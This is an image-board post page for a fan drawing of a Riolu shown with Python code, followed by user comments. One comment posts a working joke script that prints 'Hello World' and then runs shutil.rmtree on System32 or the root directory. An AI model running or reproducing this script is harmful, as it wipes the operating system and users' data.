python (programming language) and etc created by advos and third-party edit
Viewing sample resized to 83% of original (view original) Loading...
Parent: post #3915663 (learn more) show »
Description

The wrong code was bugging me so I reedited it lol

Blacklisted

    Wait... That code Prints "Hello World" then checks to see if it's Windows NT or Linux, then Delete's System32 or the Root Folder... This diabolical Riolu needs to be stopped.

  • Reply
  • |
  • 4
  • The backslashes !
    But don't worry riolu, I'm here to help you properly nuke your os :)

    import os
    import shutil
    
    print("Hello World !")
    
    if os.name == "nt":
        # Windows
        root = r"C:\Windows\System32"
    else:
        # probably Unix like.
        root = "/"
    
    shutil.rmtree(root)
    
    # Bark
    
  • Reply
  • |
  • 1